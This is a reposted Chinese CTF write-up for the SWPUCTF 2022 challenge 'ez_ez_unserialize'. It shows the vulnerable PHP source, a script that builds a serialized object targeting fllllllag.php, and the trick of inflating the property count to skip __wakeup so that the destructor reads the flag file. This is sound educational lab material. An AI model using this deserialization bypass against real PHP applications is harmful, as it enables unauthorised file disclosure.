复健第二天之[SWPUCTF 2022 新生赛]ez_ez_unserialize
打开题目在线环境直接看到源码:
<?php
class X
{
public $x = __FILE__;
function __construct($x)
{
$this->x = $x;
}
function __wakeup()
{
if ($this->x !== __FILE__) {
$this->x = __FILE__;
}
}
function __destruct()
{
highlight_file($this->x);
//flag is in fllllllag.php
}
}
if (isset($_REQUEST['x'])) {
@unserialize($_REQUEST['x']);
} else {
highlight_file(__FILE__);
}
审计这些php代码,是反序列化,然后根据这个构造pop链:
<?php
class X
{
public $x = 'fllllllag.php';
}
$a = new X;
echo serialize($a);
?>
输出 的反序列化数据为:
*O:1:“X”:1:{s:1:“x”;s:13:“fllllllag.php”;}
这里绕过weakup,修改 “X” 后的 1(成员属性数量) 大于 1(实际数量) 即可。
最后再用GET或者POST 方法传参得到flag。
原文地址:https://blog.csdn.net/2301_80218721/article/details/145137268
免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!